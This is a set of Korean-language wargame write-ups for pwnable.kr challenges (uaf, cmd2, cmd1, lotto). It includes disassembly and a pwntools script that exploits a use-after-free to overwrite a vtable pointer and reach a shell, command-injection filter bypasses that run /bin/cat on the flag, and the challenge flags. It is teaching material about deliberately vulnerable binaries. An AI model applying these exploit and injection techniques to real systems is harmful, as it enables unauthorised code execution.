0x0000000000400c50  std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string()@plt
0x0000000000400c60  std::ostream::operator<<(int)@plt
0x0000000000400c70  operator new[](unsigned long)@plt
0x0000000000400c80  operator delete(void*)@plt
0x0000000000400c90  std::ios_base::Init::Init()@plt
0x0000000000400ca0  read@plt
0x0000000000400cb0  __libc_start_main@plt
0x0000000000400cc0  system@plt
0x0000000000400cd0  __cxa_atexit@plt
0x0000000000400ce0  std::ios_base::Init::~Init()@plt
0x0000000000400cf0  std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt
0x0000000000400d00  std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt
0x0000000000400d10  std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt
0x0000000000400d20  atoi@plt
0x0000000000400d30  std::basic_ostream<char, std::char_traits<char> >& std::operator<< <char, std::char_traits<char>, std::allocator<char> >(std::basic_ostream<char, std::char_traits<char> >&, std::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)@plt
0x0000000000400d40  std::allocator<char>::~allocator()@plt
0x0000000000400d50  std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt
0x0000000000400d60  std::basic_ostream<char, std::char_traits<char> >& std::endl<char, std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&)@plt
0x0000000000400d70  std::allocator<char>::allocator()@plt
0x0000000000400d80  __gxx_personality_v0
0x0000000000400d80  __gxx_personality_v0@plt
0x0000000000400d90  operator new(unsigned long)@plt
0x0000000000400da0  _Unwind_Resume@plt
0x0000000000400db0  std::string::operator=(std::string const&)@plt
0x0000000000400dc0  open@plt
0x0000000000400dd0  std::istream::operator>>(unsigned int&)@plt
0x0000000000400de0  _start
0x0000000000400e0c  call_gmon_start
0x0000000000400e30  __do_global_dtors_aux
0x0000000000400ea0  frame_dummy
**0x0000000000400ec4  main**
0x0000000000401124  __static_initialization_and_destruction_0(int, int)
0x0000000000401164  _GLOBAL__sub_I_main
**0x000000000040117a  Human::give_shell()
0x0000000000401192  Human::introduce()
0x0000000000401210  Human::Human()
0x0000000000401210  Human::Human()
0x000000000040123a  Human::~Human()
0x000000000040123a  Human::~Human()
0x0000000000401264  Man::Man(std::string, int)
0x0000000000401264  Man::Man(std::string, int)
0x00000000004012d2  Man::introduce()
0x0000000000401308  Woman::Woman(std::string, int)
0x0000000000401308  Woman::Woman(std::string, int)
0x0000000000401376  Woman::introduce()**
0x00000000004013b0  __libc_csu_init
0x0000000000401440  __libc_csu_fini
0x0000000000401450  __do_global_ctors_aux
0x0000000000401488  _fini

💡 set print asm-demangle on → gdb에서 c++ 함수 이름이 깨지는 것 방지해줌

main 함수

더보기
Dump of assembler code for function main:
   0x0000000000400ec4 <+0>:	push   rbp
   0x0000000000400ec5 <+1>:	mov    rbp,rsp
   0x0000000000400ec8 <+4>:	push   r12
   0x0000000000400eca <+6>:	push   rbx
   0x0000000000400ecb <+7>:	sub    rsp,0x50
   0x0000000000400ecf <+11>:	mov    DWORD PTR [rbp-0x54],edi
   0x0000000000400ed2 <+14>:	mov    QWORD PTR [rbp-0x60],rsi
   0x0000000000400ed6 <+18>:	lea    rax,[rbp-0x12]
   0x0000000000400eda <+22>:	mov    rdi,rax
   0x0000000000400edd <+25>:	call   0x400d70 <std::allocator<char>::allocator()@plt>
   0x0000000000400ee2 <+30>:	lea    rdx,[rbp-0x12]
   0x0000000000400ee6 <+34>:	lea    rax,[rbp-0x50]
   0x0000000000400eea <+38>:	mov    esi,0x4014f0
   0x0000000000400eef <+43>:	mov    rdi,rax
   0x0000000000400ef2 <+46>:	call   0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
   0x0000000000400ef7 <+51>:	lea    r12,[rbp-0x50]
   0x0000000000400efb <+55>:	mov    edi,0x18
   0x0000000000400f00 <+60>:	call   0x400d90 <operator new(unsigned long)@plt>
   0x0000000000400f05 <+65>:	mov    rbx,rax
   0x0000000000400f08 <+68>:	mov    edx,0x19
   0x0000000000400f0d <+73>:	mov    rsi,r12
   0x0000000000400f10 <+76>:	mov    rdi,rbx
   0x0000000000400f13 <+79>:	call   0x401264 <Man::Man(std::string, int)>
   0x0000000000400f18 <+84>:	mov    QWORD PTR [rbp-0x38],rbx
   0x0000000000400f1c <+88>:	lea    rax,[rbp-0x50]
   0x0000000000400f20 <+92>:	mov    rdi,rax
   0x0000000000400f23 <+95>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000400f28 <+100>:	lea    rax,[rbp-0x12]
   0x0000000000400f2c <+104>:	mov    rdi,rax
   0x0000000000400f2f <+107>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000400f34 <+112>:	lea    rax,[rbp-0x11]
   0x0000000000400f38 <+116>:	mov    rdi,rax
   0x0000000000400f3b <+119>:	call   0x400d70 <std::allocator<char>::allocator()@plt>
   0x0000000000400f40 <+124>:	lea    rdx,[rbp-0x11]
   0x0000000000400f44 <+128>:	lea    rax,[rbp-0x40]
   0x0000000000400f48 <+132>:	mov    esi,0x4014f5
   0x0000000000400f4d <+137>:	mov    rdi,rax
   0x0000000000400f50 <+140>:	call   0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
   0x0000000000400f55 <+145>:	lea    r12,[rbp-0x40]
   0x0000000000400f59 <+149>:	mov    edi,0x18
   0x0000000000400f5e <+154>:	call   0x400d90 <operator new(unsigned long)@plt>
   0x0000000000400f63 <+159>:	mov    rbx,rax
   0x0000000000400f66 <+162>:	mov    edx,0x15
   0x0000000000400f6b <+167>:	mov    rsi,r12
   0x0000000000400f6e <+170>:	mov    rdi,rbx
   0x0000000000400f71 <+173>:	call   0x401308 <Woman::Woman(std::string, int)>
   0x0000000000400f76 <+178>:	mov    QWORD PTR [rbp-0x30],rbx
   0x0000000000400f7a <+182>:	lea    rax,[rbp-0x40]
   0x0000000000400f7e <+186>:	mov    rdi,rax
   0x0000000000400f81 <+189>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000400f86 <+194>:	lea    rax,[rbp-0x11]
   0x0000000000400f8a <+198>:	mov    rdi,rax
   0x0000000000400f8d <+201>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000400f92 <+206>:	mov    esi,0x4014fa
   0x0000000000400f97 <+211>:	mov    edi,0x602260
   0x0000000000400f9c <+216>:	call   0x400cf0 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
   0x0000000000400fa1 <+221>:	lea    rax,[rbp-0x18]
   0x0000000000400fa5 <+225>:	mov    rsi,rax
   0x0000000000400fa8 <+228>:	mov    edi,0x6020e0
   0x0000000000400fad <+233>:	call   0x400dd0 <std::istream::operator>>(unsigned int&)@plt>
   0x0000000000400fb2 <+238>:	mov    eax,DWORD PTR [rbp-0x18]
   0x0000000000400fb5 <+241>:	cmp    eax,0x2
   0x0000000000400fb8 <+244>:	je     0x401000 <main+316>
   0x0000000000400fba <+246>:	cmp    eax,0x3
   0x0000000000400fbd <+249>:	je     0x401076 <main+434>
   0x0000000000400fc3 <+255>:	cmp    eax,0x1
   0x0000000000400fc6 <+258>:	je     0x400fcd <main+265>
   0x0000000000400fc8 <+260>:	jmp    0x4010a9 <main+485>
   0x0000000000400fcd <+265>:	mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fd1 <+269>:	mov    rax,QWORD PTR [rax]
   0x0000000000400fd4 <+272>:	add    rax,0x8
   0x0000000000400fd8 <+276>:	mov    rdx,QWORD PTR [rax]
   0x0000000000400fdb <+279>:	mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fdf <+283>:	mov    rdi,rax
   0x0000000000400fe2 <+286>:	call   rdx
   0x0000000000400fe4 <+288>:	mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400fe8 <+292>:	mov    rax,QWORD PTR [rax]
   0x0000000000400feb <+295>:	add    rax,0x8
   0x0000000000400fef <+299>:	mov    rdx,QWORD PTR [rax]
   0x0000000000400ff2 <+302>:	mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400ff6 <+306>:	mov    rdi,rax
   0x0000000000400ff9 <+309>:	call   rdx
   0x0000000000400ffb <+311>:	jmp    0x4010a9 <main+485>
   0x0000000000401000 <+316>:	mov    rax,QWORD PTR [rbp-0x60]
   0x0000000000401004 <+320>:	add    rax,0x8
   0x0000000000401008 <+324>:	mov    rax,QWORD PTR [rax]
   0x000000000040100b <+327>:	mov    rdi,rax
   0x000000000040100e <+330>:	call   0x400d20 <atoi@plt>
   0x0000000000401013 <+335>:	cdqe   
   0x0000000000401015 <+337>:	mov    QWORD PTR [rbp-0x28],rax
   0x0000000000401019 <+341>:	mov    rax,QWORD PTR [rbp-0x28]
   0x000000000040101d <+345>:	mov    rdi,rax
   0x0000000000401020 <+348>:	call   0x400c70 <operator new[](unsigned long)@plt>
   0x0000000000401025 <+353>:	mov    QWORD PTR [rbp-0x20],rax
   0x0000000000401029 <+357>:	mov    rax,QWORD PTR [rbp-0x60]
   0x000000000040102d <+361>:	add    rax,0x10
   0x0000000000401031 <+365>:	mov    rax,QWORD PTR [rax]
   0x0000000000401034 <+368>:	mov    esi,0x0
   0x0000000000401039 <+373>:	mov    rdi,rax
   0x000000000040103c <+376>:	mov    eax,0x0
   0x0000000000401041 <+381>:	call   0x400dc0 <open@plt>
   0x0000000000401046 <+386>:	mov    rdx,QWORD PTR [rbp-0x28]
   0x000000000040104a <+390>:	mov    rcx,QWORD PTR [rbp-0x20]
   0x000000000040104e <+394>:	mov    rsi,rcx
   0x0000000000401051 <+397>:	mov    edi,eax
   0x0000000000401053 <+399>:	call   0x400ca0 <read@plt>
   0x0000000000401058 <+404>:	mov    esi,0x401513
   0x000000000040105d <+409>:	mov    edi,0x602260
   0x0000000000401062 <+414>:	call   0x400cf0 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
   0x0000000000401067 <+419>:	mov    esi,0x400d60
   0x000000000040106c <+424>:	mov    rdi,rax
   0x000000000040106f <+427>:	call   0x400d50 <std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt>
   0x0000000000401074 <+432>:	jmp    0x4010a9 <main+485>
   0x0000000000401076 <+434>:	mov    rbx,QWORD PTR [rbp-0x38]
   0x000000000040107a <+438>:	test   rbx,rbx
   0x000000000040107d <+441>:	je     0x40108f <main+459>
   0x000000000040107f <+443>:	mov    rdi,rbx
   0x0000000000401082 <+446>:	call   0x40123a <Human::~Human()>
   0x0000000000401087 <+451>:	mov    rdi,rbx
   0x000000000040108a <+454>:	call   0x400c80 <operator delete(void*)@plt>
   0x000000000040108f <+459>:	mov    rbx,QWORD PTR [rbp-0x30]
   0x0000000000401093 <+463>:	test   rbx,rbx
   0x0000000000401096 <+466>:	je     0x4010a8 <main+484>
   0x0000000000401098 <+468>:	mov    rdi,rbx
   0x000000000040109b <+471>:	call   0x40123a <Human::~Human()>
   0x00000000004010a0 <+476>:	mov    rdi,rbx
   0x00000000004010a3 <+479>:	call   0x400c80 <operator delete(void*)@plt>
   0x00000000004010a8 <+484>:	nop
   0x00000000004010a9 <+485>:	jmp    0x400f92 <main+206>
   0x00000000004010ae <+490>:	mov    r12,rax
   0x00000000004010b1 <+493>:	mov    rdi,rbx
   0x00000000004010b4 <+496>:	call   0x400c80 <operator delete(void*)@plt>
   0x00000000004010b9 <+501>:	mov    rbx,r12
   0x00000000004010bc <+504>:	jmp    0x4010c1 <main+509>
   0x00000000004010be <+506>:	mov    rbx,rax
   0x00000000004010c1 <+509>:	lea    rax,[rbp-0x50]
   0x00000000004010c5 <+513>:	mov    rdi,rax
   0x00000000004010c8 <+516>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x00000000004010cd <+521>:	jmp    0x4010d2 <main+526>
   0x00000000004010cf <+523>:	mov    rbx,rax
   0x00000000004010d2 <+526>:	lea    rax,[rbp-0x12]
   0x00000000004010d6 <+530>:	mov    rdi,rax
   0x00000000004010d9 <+533>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x00000000004010de <+538>:	mov    rax,rbx
   0x00000000004010e1 <+541>:	mov    rdi,rax
   0x00000000004010e4 <+544>:	call   0x400da0 <_Unwind_Resume@plt>
   0x00000000004010e9 <+549>:	mov    r12,rax
   0x00000000004010ec <+552>:	mov    rdi,rbx
   0x00000000004010ef <+555>:	call   0x400c80 <operator delete(void*)@plt>
   0x00000000004010f4 <+560>:	mov    rbx,r12
   0x00000000004010f7 <+563>:	jmp    0x4010fc <main+568>
   0x00000000004010f9 <+565>:	mov    rbx,rax
   0x00000000004010fc <+568>:	lea    rax,[rbp-0x40]
   0x0000000000401100 <+572>:	mov    rdi,rax
   0x0000000000401103 <+575>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000401108 <+580>:	jmp    0x40110d <main+585>
   0x000000000040110a <+582>:	mov    rbx,rax
   0x000000000040110d <+585>:	lea    rax,[rbp-0x11]
   0x0000000000401111 <+589>:	mov    rdi,rax
   0x0000000000401114 <+592>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000401119 <+597>:	mov    rax,rbx
   0x000000000040111c <+600>:	mov    rdi,rax
   0x000000000040111f <+603>:	call   0x400da0 <_Unwind_Resume@plt>
End of assembler dump.
   0x0000000000400ef2 <+46>:	call   0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
   0x0000000000400ef7 <+51>:	lea    r12,[rbp-0x50]
   0x0000000000400efb <+55>:	mov    edi,0x18
   0x0000000000400f00 <+60>:	call   0x400d90 <operator new(unsigned long)@plt>
   0x0000000000400f05 <+65>:	mov    rbx,rax
   0x0000000000400f08 <+68>:	mov    edx,0x19
   0x0000000000400f0d <+73>:	mov    rsi,r12
   0x0000000000400f10 <+76>:	mov    rdi,rbx
   **0x0000000000400f13 <+79>:	call   0x401264 <Man::Man(std::string, int)>**
   0x0000000000400f18 <+84>:	mov    QWORD PTR [rbp-0x38],rbx
   0x0000000000400f1c <+88>:	lea    rax,[rbp-0x50]
   0x0000000000400f20 <+92>:	mov    rdi,rax
   0x0000000000400f23 <+95>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000400f28 <+100>:	lea    rax,[rbp-0x12]
   0x0000000000400f2c <+104>:	mov    rdi,rax
   0x0000000000400f2f <+107>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000400f34 <+112>:	lea    rax,[rbp-0x11]
   0x0000000000400f38 <+116>:	mov    rdi,rax
   0x0000000000400f3b <+119>:	call   0x400d70 <std::allocator<char>::allocator()@plt>
   0x0000000000400f40 <+124>:	lea    rdx,[rbp-0x11]
   0x0000000000400f44 <+128>:	lea    rax,[rbp-0x40]
   0x0000000000400f48 <+132>:	mov    esi,0x4014f5
   0x0000000000400f4d <+137>:	mov    rdi,rax
   0x0000000000400f50 <+140>:	call   0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
   0x0000000000400f55 <+145>:	lea    r12,[rbp-0x40]
   0x0000000000400f59 <+149>:	mov    edi,0x18
   0x0000000000400f5e <+154>:	call   0x400d90 <operator new(unsigned long)@plt>
   0x0000000000400f63 <+159>:	mov    rbx,rax
   0x0000000000400f66 <+162>:	mov    edx,0x15
   0x0000000000400f6b <+167>:	mov    rsi,r12
   0x0000000000400f6e <+170>:	mov    rdi,rbx
   **0x0000000000400f71 <+173>:	call   0x401308 <Woman::Woman(std::string, int)>**
   0x0000000000400f76 <+178>:	mov    QWORD PTR [rbp-0x30],rbx
   0x0000000000400f7a <+182>:	lea    rax,[rbp-0x40]
   0x0000000000400f7e <+186>:	mov    rdi,rax
   0x0000000000400f81 <+189>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000400f86 <+194>:	lea    rax,[rbp-0x11]
   0x0000000000400f8a <+198>:	mov    rdi,rax
   0x0000000000400f8d <+201>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000400f92 <+206>:	mov    esi,0x4014fa
   0x0000000000400f97 <+211>:	mov    edi,0x602260
  • Human* m = new Man(”Jack”, 25); 와 Human* w = new Woman(”Jill”, 21);에 대응하는 부분
  • 새로운 객체가 생성됨
  • main+79에 bp 걸어 레지스터 값 확인

→ rax, rbx모두 0xddac50 값을 가짐

  • 해당 메모리를 확인해보면 0x401570의 VPTR을 확인할 수 있음

  • 0x401570 에서 0X40117a가 저장되어 있음을 확인할 수 있는데, 이는 get_shell 함수임

  • get_shell 함수 다음에 introduce 함수가 호출됨

  • 해당 값은 rbp-0x38에 저장됨

 

  • woman을 생성하는 부분도 동일하게 진행됨→ 여기서는 rbp-0x30에 rbx 값을 넣음
    • 해당 부분에서도 get_shell이 호출됨을 알 수 있음
    • man이나 woman 중 아무거나 사용해도 될 것 같음!

 

case 1

0x0000000000400fc3 <+255>:	cmp    eax,0x1
0x0000000000400fc6 <+258>:	je     0x400fcd <main+265>
0x0000000000400fc8 <+260>:	jmp    0x4010a9 <main+485>
**0x0000000000400fcd <+265>:	mov    rax,QWORD PTR [rbp-0x38]**
0x0000000000400fd1 <+269>:	mov    rax,QWORD PTR [rax]
**0x0000000000400fd4 <+272>:	add    rax,0x8**
0x0000000000400fd8 <+276>:	mov    rdx,QWORD PTR [rax]
0x0000000000400fdb <+279>:	mov    rax,QWORD PTR [rbp-0x38]
0x0000000000400fdf <+283>:	mov    rdi,rax
0x0000000000400fe2 <+286>:	call   rdx
**0x0000000000400fe4 <+288>:	mov    rax,QWORD PTR [rbp-0x30]**
0x0000000000400fe8 <+292>:	mov    rax,QWORD PTR [rax]
**0x0000000000400feb <+295>:	add    rax,0x8**
0x0000000000400fef <+299>:	mov    rdx,QWORD PTR [rax]
0x0000000000400ff2 <+302>:	mov    rax,QWORD PTR [rbp-0x30]
0x0000000000400ff6 <+306>:	mov    rdi,rax
  • use 부분에서 man과 woman 모두 introduce 함수를 호출함
  • 이때, 각각 rbp-0x38, rbp-0x30 값을 rax 레지스터에 저장함
  • 중요한 점은 rax 레지스터에 값을 저장한 후에 8을 더하고 있음
 💡 내가 원하는 값을 호출하기 위해서는 원래 함수 값에서 -8 해준 값을 전달해줘야 함을 알 수 있음

 

문제 해결

💡 free 후에 새로운 데이터를 집어넣어 use 하는 부분에서 get_shell이 실행되도록 변조
     → introduce 함수 대신 get_shell이 실행돼야 함
     free → after → use 형태로 호출하면 될 것 같음
  • main 함수에서 Jack과 Jill이라는 객체를 생성하는 부분이 있음 → VPTR 생성
  • use 부분에서 introduce 함수가 호출되는 것은 VPTR(0x401570)으로부터 +8 위치에 있음

  • 우리가 실행하고 싶은 함수는 get_shell임
    • 이는 introduce 함수 앞에 위치해있음
    • data 값으로 VPTR의 -8인 값을 전달해주면 add 0x8을 했을 때 introduce 함수가 아닌, 8byte 만큼 작은 주소 값에 위치한 get_shell 함수를 호출할 수 있음

→ after를 1번만 누르면 Segmentation fault가 발생함

  • after 부분에서 argv[1]로 len, argv[2]로 data를 입력 받고 있으므로 64bit 바이너리에 맞게 8, VPTR-8 값을 넣어줌(argv[2]에 바로 전달하면 값이 깨지므로 python으로 파일 속에 값을 넣어주고 나서 파일을 이용함)

 

원격 실행 코드

from pwn import *

p = ssh(user='uaf', host='pwnable.kr', password='guest', port=2222)
#p.run("mkdir /tmp/sik")
p.write('/tmp/sik', '\\x68\\x15\\x40\\x00\\x00\\x00\\x00\\x00')

array=" 8 /tmp/sik"
argv = array.split(' ')
print argv
s=p.process(executable="/home/uaf/uaf", argv=argv)

print s.recvuntil('3. free')
s.sendline("3")

print s.recvuntil('3. free')
s.sendline("2")

print s.recvuntil('3. free')
s.sendline("2")

print s.recvuntil('3. free')
s.sendline("1")

s.interactive()


flag

🍒 yay_f1ag_aft3r_pwning

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] asm  (0) 2023.02.26
[Pwnable.kr] memcpy  (0) 2022.10.15
[Pwnable.kr] cmd2  (0) 2022.10.15
[Pwnable.kr] cmd1  (0) 2022.10.15
[Pwnable.kr] lotto  (0) 2022.10.15

[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 없음
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - cmd2.c

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "=")!=0;
	r += strstr(cmd, "PATH")!=0;
	r += strstr(cmd, "export")!=0;
	r += strstr(cmd, "/")!=0;
	r += strstr(cmd, "`")!=0;
	r += strstr(cmd, "flag")!=0;
	return r;
}

extern char** environ;
void delete_env(){
	char** p;
	for(p=environ; *p; p++)	memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
	delete_env();
	putenv("PATH=/no_command_execution_until_you_become_a_hacker");
	if(filter(argv[1])) return 0;
	printf("%s\\n", argv[1]);
	system( argv[1] );
	return 0;
}
  • delete_env 함수를 통해 환경 변수를 모두 지워버림
  • putenv 함수를 통해 PATH 값을 바꿔버림
    • cmd1처럼 절대 경로로 접근해야 하나 /를 필터링 하고 있어 이를 우회할 방안이 필요함

실패- 1

PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings

./cmd2 '${HOME:0:1}bin${HOME:0:1}cat fla*'

→ /를 ${HOME:0:1}로 치환할 수 있어 사용해봤으나 delete_env 함수로 지워진다는 것을 간과함

home 환경 변수 있는지 확인해봐야함(setting)

실패- 2

./cmd2 '$(echo . | tr '!-0' '"-1')bin$(echo . | tr '!-0' '"-1')cat fl*'

→ $(echo . | tr '!-0' '"-1')로도 변경할 수 있었는데 event not found라는 에러가 발생하면서 flag를 구할 수 없음..

현재의 절대 경로를 파이프로 넘겨서 맨 처음 글자 따오기..

echo . / tr / | 따로따로 분석해보기 → 원인 분석 필요

 

더보기
./cmd2 "cd ..; cd ..; \\$(pwd)bin\\$(pwd)cat \\$(pwd)home\\$(pwd)cmd2\\$(pwd)f*"

→ 최상위 경로에서 /만

/home/cmd2/cmd2 'set -s'
/bin/cat /home/cmd2/flag

set

./cmd2 '$(read a; echo $a)'
$(read a; echo $a)
/bin/cat flag

./cmd2 'read a; $a'
/bin/cat flag

read

./cmd2 '$(echo "\\57")bin$(echo "\\57")cat fl*'
관련하여 좀 더 공부 필요

🧸command 

괜히 9점이 아닌가보다


flag

🍒 FuN_w1th_5h3ll_v4riabl3s_haha

 

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] memcpy  (0) 2022.10.15
[Pwnable.kr] uaf  (0) 2022.10.15
[Pwnable.kr] cmd1  (0) 2022.10.15
[Pwnable.kr] lotto  (0) 2022.10.15
[Pwnable.kr] blackjack  (2) 2022.10.15

[문제]

 


[풀이]

보호기법 분석

  • 64 bits 바이너리
  • 카나리 없음
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - cmd1.c

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "flag")!=0;
	r += strstr(cmd, "sh")!=0;
	r += strstr(cmd, "tmp")!=0;
	return r;
}
int main(int argc, char* argv[], char** envp){
	putenv("PATH=/thankyouverymuch");
	if(filter(argv[1])) return 0;
	system( argv[1] );
	return 0;
}
    • putenv 함수는 환경 변수 값을 변경해버림(프로그램 실행동안)
      • 본래 PATH는 아래와 같이 정의됨
      • 그렇기 때문에 ls나 cat과 같은 명령을 절대경로 없이 사용할 수 있음
      • 그러나 putenv로 PATH의 value를 thankyouverymuch로 변경해버렸기 때문에 ls도 그냥 사용할 수 없음 /bin/ls와 같은 형태로 사용해야 함

  • 사용자 입력은 argv[1]로 전달됨
  • filter 함수에서 사용자가 입력한 값 중 sh, flag, tmp가 있으면 바이너리가 종료됨
  • filter 함수를 무사히 통과하면 system 함수를 호출하며 사용자가 argv[1]로 준 값을 명령어로서 실행해줌
  • 문제 이름에서부터 유추했지만 command injection 취약점이 발생하고 있음

 

문제 해결

💡 절대 경로로 명령어에 접근하여 flag 파일을 읽으면 될 것
  • flag 파일은 와일드카드(*)나 [a-z], ? 등등으로 치환하여 읽을 수 있음
    • argv는 띄워쓰기를 기준으로 구분되기 때문에 cat flag를 하나로 묶으려면 따옴표를 이용해야 함


flag

🍒 mommy now I get what PATH environment is for :)

 

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] uaf  (0) 2022.10.15
[Pwnable.kr] cmd2  (0) 2022.10.15
[Pwnable.kr] lotto  (0) 2022.10.15
[Pwnable.kr] blackjack  (2) 2022.10.15
[Pwnable.kr] shellshock  (0) 2022.10.15

[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 존재
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - lotto.c

#include 
#include 
#include 
#include 

unsigned char submit[6];

void play(){
	
	int i;
	printf("Submit your 6 lotto bytes : ");
	fflush(stdout);

	int r;
	r = read(0, submit, 6);

	printf("Lotto Start!\\n");
	//sleep(1);

	// generate lotto numbers
	int fd = open("/dev/urandom", O_RDONLY);
	if(fd==-1){
		printf("error. tell admin\\n");
		exit(-1);
	}
	unsigned char lotto[6];
	if(read(fd, lotto, 6) != 6){
		printf("error2. tell admin\\n");
		exit(-1);
	}
	for(i=0; i<6; i++){
		lotto[i] = (lotto[i] % 45) + 1;		// 1 ~ 45
	}
	close(fd);
	
	// calculate lotto score
	int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

	// win!
	if(match == 6){
		system("/bin/cat flag");
	}
	else{
		printf("bad luck...\\n");
	}

}

void help(){
	printf("- nLotto Rule -\\n");
	printf("nlotto is consisted with 6 random natural numbers less than 46\\n");
	printf("your goal is to match lotto numbers as many as you can\\n");
	printf("if you win lottery for *1st place*, you will get reward\\n");
	printf("for more details, follow the link below\\n");
	printf("<http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\\n\\n>");
	printf("mathematical chance to win this game is known to be 1/8145060.\\n");
}

int main(int argc, char* argv[]){

	// menu
	unsigned int menu;

	while(1){

		printf("- Select Menu -\\n");
		printf("1. Play Lotto\\n");
		printf("2. Help\\n");
		printf("3. Exit\\n");

		scanf("%d", &menu);

		switch(menu){
			case 1:
				play();
				break;
			case 2:
				help();
				break;
			case 3:
				printf("bye\\n");
				return 0;
			default:
				printf("invalid menu\\n");
				break;
		}
	}
	return 0;
}
  • main 함수에서는 단순히 선택한 기능에 대한 함수들을 호출함
  • play 함수에서 사용자에게 6byte의 lotto 값을 입력 받아 /dev/urandom으로부터 생성된 난수와 비교하여 모두 같다면 flag를 반환함
  • 여기서 찾은 이상한 점
// calculate lotto score
	int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}
    • 같은 값이 있는지를 6번이나 반복한다..?
    • 비교해서 같은 값이 있거나/없다면 해당 값을 제외하고 비교해야 하는데 무조건적으로 반복 비교함

 

문제 해결

💡 같은 값을 6번 입력해서 그 중에 하나가 맞는게 있다면 36번 중에 6번 맞게 되니 lotto에 당첨될 것!
unsigned char submit[6];
int r;
r = read(0, submit, 6);
  • submit에 저장되는 값은 char 형태임
    • 1을 입력하더라도 10진수여서 0x01로 인식되지 않고 char형으로 인식되기 때문에 0x31 값으로 인식됨
    • 따라서 1-45의 범위를 갖는 로또 번호는 char형으로 변환하여 사용자가 입력으로 줘야 함
    • 키보드로 입력할 수 있는 값의 범위에 있는 문자는 ! “ # $ % & ‘ ( ) * + , -
    • 이 중에 하나의 문자를 6번 반복하여 lotto를 몇 번 수행하면 우연히 맞는 글자가 있어서 lotto에 당첨되게 됨

반복 과정은 생략함(10번 정도 반복한 것 같음)


flag

🍒 sorry mom... I FORGOT to check duplicate numbers... :(

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] cmd2  (0) 2022.10.15
[Pwnable.kr] cmd1  (0) 2022.10.15
[Pwnable.kr] blackjack  (2) 2022.10.15
[Pwnable.kr] shellshock  (0) 2022.10.15
[Pwnable.kr] mistake  (2) 2022.10.15

[문제]


[풀이]

소스코드 분석 - blackjack.c

  • 너무 길어서 토클로 전환
더보기
// Programmer: Vladislav Shulman
// Final Project
// Blackjack

// Feel free to use any and all parts of this program and claim it as your own work

//FINAL DRAFT

#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <time.h>                //Used for srand((unsigned) time(NULL)) command
#include <process.h>             //Used for system("cls") command

#define spade 06                 //Used to print spade symbol
#define club 05                  //Used to print club symbol
#define diamond 04               //Used to print diamond symbol
#define heart 03                 //Used to print heart symbol
#define RESULTS "Blackjack.txt"  //File name is Blackjack

//Global Variables
int k;
int l;
int d;
int won;
int loss;
int cash = 500;
int bet;
int random_card;
int player_total=0;
int dealer_total;

//Function Prototypes
int clubcard();      //Displays Club Card Image
int diamondcard();   //Displays Diamond Card Image
int heartcard();     //Displays Heart Card Image
int spadecard();     //Displays Spade Card Image
int randcard();      //Generates random card
int betting();       //Asks user amount to bet
void asktitle();     //Asks user to continue
